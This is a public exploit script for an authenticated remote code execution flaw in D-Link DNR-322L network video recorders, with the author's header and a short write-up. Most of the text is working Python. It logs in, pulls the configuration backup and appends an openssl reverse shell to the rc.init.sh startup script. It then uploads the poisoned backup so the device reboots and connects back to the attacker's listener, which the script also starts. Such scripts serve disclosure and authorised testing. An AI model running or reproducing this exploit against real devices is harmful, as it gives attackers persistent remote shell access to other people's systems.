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# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution # Date: 13.09.2022 # Exploit Author: luka <luka@lukasec.ch> # Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html # Vendor Homepage: https://dlink.com # Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305 # Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE # Version: <= 2.60B15 # Tested on: Debian, Windows 10 """ # Vulnerability Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots. # Usage exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT options: -h, --helpshow this help message and exit -U USERNAME, --username USERNAME Username, ex: admin -P PASSWORD, --password PASSWORD Password for the specified user -t TARGET, --target TARGET IP of the target, ex: 192.168.99.99 -l LHOST, --lhost LHOST IP for the reverse shell to connect back to, ex: 123.123.123.123 -p LPORT, --lport LPORT Port for the reverse shell to connect back to, ex: 8443 """ import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string from ipaddress import ip_address args = argparse.ArgumentParser() args.add_argument( "-U", "--username", type=str, required=True, dest="username", help="Username, ex: admin", ) args.add_argument( "-P", "--password", type=str, required=False, dest="password", help="Password for the specified user", ) args.add_argument( "-t", "--target", type=str, required=True, dest="target", help="IP of the target, ex: 192.168.99.99", ) args.add_argument( "-l", "--lhost", type=str, required=True, dest="lhost", help="IP for the reverse shell to connect back to, ex: 123.123.123.123", ) args.add_argument( "-p", "--lport", type=int, required=True, dest="lport", help="Port for the reverse shell to connect back to, ex: 8443", ) args = args.parse_args() # base64 + url encode string # returns string def b64_url_encode(data): enc = data.encode("utf-8") encB = base64.b64encode(enc) encUrl = urllib.parse.quote(str(encB, "utf-8")) return encUrl # since user input is always unsafe, test IPs try: ip_address(args.target) except Exception: print("[!] Target IP is not a valid IP address") exit(1) try: ip_address(args.lhost) except Exception: print("[!] Reverse shell IP is not a valid IP address") exit(1) # check if target is online try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) # hardcoded http, change if needed s.connect((args.target, 80)) s.close() except Exception: print("[!] Target is not online") exit(1) print("[+] Target is online") # login param authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi" authHeaders = {"content-type": "application/x-www-form-urlencoded"} authCheckCmd = "cmd=ui_check_wto" session = requests.Session() # if password is empty supply dont supply anything if not args.password: authBody = ( "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username=" + args.username + "&pwd=&ssl_port=443&f_login_type=0&f_url=" ) else: authBody = ( "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username=" + args.username + "&pwd=" + b64_url_encode(args.password) + "&ssl_port=443&f_login_type=0&f_url=" ) try: # login reqLogin = session.post(authUrl, headers=authHeaders, data=authBody) # check if successful reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd) if "success" in reqCheck.text: print("[+] Login successful") else: print("[!] Error during login, check credentials") exit(1) except Exception as error: print(error) print("[!] Error during login, check credentials") exit(1) # download backup print("[*] Downloading backup") if os.path.exists("backup_clean"): os.remove("backup_clean") # download param downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi" downloadHeaders = {"content-type": "application/x-www-form-urlencoded"} downloadCmd = "cmd=cgi_backup_conf" try: reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd) except Exception as error: print(error) print("[!] Error while downloading backup") exit(1) # saving to disk try: f = open("backup_clean", "wb") f.write(reqBackup.content) f.close() if not os.path.exists("backup_clean"): print("[!] Error while saving backup") exit(1) except Exception as error: print(error) print("[!] Error while saving backup") exit(1) print("[+] Download successful") # unpack backup (tar.gz file) try: config = tarfile.open("backup_clean") config.extractall() config.close() except Exception as error: print(error) print("[!] Error while unpacking backup") exit(1) # inject stuff into startup script try: bashscript = open("backup/rc.init.sh", "a") # revshell with openssl payload = ( "\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n" % (args.lhost, args.lport) ) bashscript.write(payload) # also start a telnet deamon (has same passwd as web) # bashscript.write("utelnetd -d") bashscript.close() except Exception as error: print(error) print("[!] Error while creating malicious backup") exit(1) print("[+] Created malicious backup") # re pack file try: configInj = tarfile.open("backup_injected", "w:gz") configInj.add("backup") configInj.close() # remove unpacked folder shutil.rmtree("backup", ignore_errors=False, onerror=None) except Exception as error: print(error) print("[!] Error while re-packing malicious backup") exit(1) # upload print("[*] Uploading malicious backup") uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi" uploadHeaders = { "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere" } configInj = open("backup_injected", "rb") tardata = configInj.read().decode("latin-1") uploadBody = ( '------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n' + tardata + "\r\n------WebKitFormBoundaryhellothere--\r\n" ) reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody) if "web/dsk_mgr/wait.html" in reqUpload.text: print("[+] Upload successful, target will reboot now") else: print("[!] Error while uploading malicious backup") exit(1) # creating listener print("[*] Started listener, waiting for the shell to connect back") print("[*] When you are done kill the shell with Ctrl+C") # random name randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10)) # generate the cert and the key for the openssl listener os.system( 'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null' % (randInt, randInt) ) # create an openssl listener os.system( "openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s" % (randInt, randInt, args.lport) ) exit(0) |
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